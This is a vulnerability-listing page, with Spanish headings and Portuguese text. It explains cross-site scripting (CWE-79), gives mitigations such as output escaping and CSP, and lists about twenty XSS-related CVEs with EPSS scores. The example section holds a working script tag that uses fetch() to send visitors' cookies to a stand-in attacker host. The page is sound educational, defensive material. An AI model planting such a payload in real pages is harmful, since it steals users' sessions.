Fallos del tipo CWE-79

28.644 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-42097MEDIUMBackdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via 'Comment.' .EPSS 0.8%CVE-2021-24362—Photo Gallery < 1.5.75 - Stored Cross-Site Scripting via Uploaded SVGEPSS 0.8%CVE-2021-24588—SMS Alert Order Notifications – WooCommerce < 3.4.7 Authenticated Cross Site ScriptingEPSS 0.8%CVE-2021-24798—WP Header Images < 2.0.1 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-24679—Bitcoin / AltCoin Payment Gateway for WooCommerce < 1.6.1 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-24373—WP Hardening < 1.2.2 - Reflected XSS via historyvalueEPSS 0.8%CVE-2021-24676—Better Find and Replace < 1.2.9 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-24368—Quiz And Survey Master < 7.1.18 - Reflected Cross-Site Scripting (XSS)EPSS 0.8%CVE-2021-24437—Favicon by RealFaviconGenerator <= 1.3.20 - Reflected Cross-Site Scripting (XSS)EPSS 0.8%CVE-2021-24372—WP Hardening < 1.2.2 - Reflected XSS via URIEPSS 0.8%CVE-2024-40576MEDIUMCross Site Scripting vulnerability in Best House Rental Management System 1.0 allows a remote attacker to execute arbitrary code via the "HoEPSS 0.8%CVE-2021-24290—Store Locator Plus <= 5.5.15 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 0.8%CVE-2026-41098HIGHAzure Stack Edge Spoofing VulnerabilityEPSS 0.8%CVE-2023-22425MEDIUMStored cross-site scripting vulnerability in Schedule function of SHIRASAGI v1.16.2 and earlier versions allows a remote authenticated attacEPSS 0.8%CVE-2023-53689MEDIUMNagios Fusion < 4.2.0 License Information Reflected XSSEPSS 0.8%CVE-2024-55224CRITICALAn HTML injection vulnerability in Vaultwarden prior to v1.32.5 allows attackers to execute arbitrary code via injecting a crafted payload iEPSS 0.8%CVE-2021-32683HIGHXSS through createObjectURLEPSS 0.8%CVE-2017-6053—A Cross-Site Scripting issue was discovered in Trihedral VTScada Versions prior to 11.2.26. A cross-site scripting vulnerability may allow JEPSS 0.8%CVE-2024-54032CRITICALAdobe Connect | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.8%CVE-2020-27219—In all version of Eclipse Hawkbit prior to 0.3.0M7, the HTTP 404 (Not Found) JSON response body returned by the REST API may contain unsafe EPSS 0.8%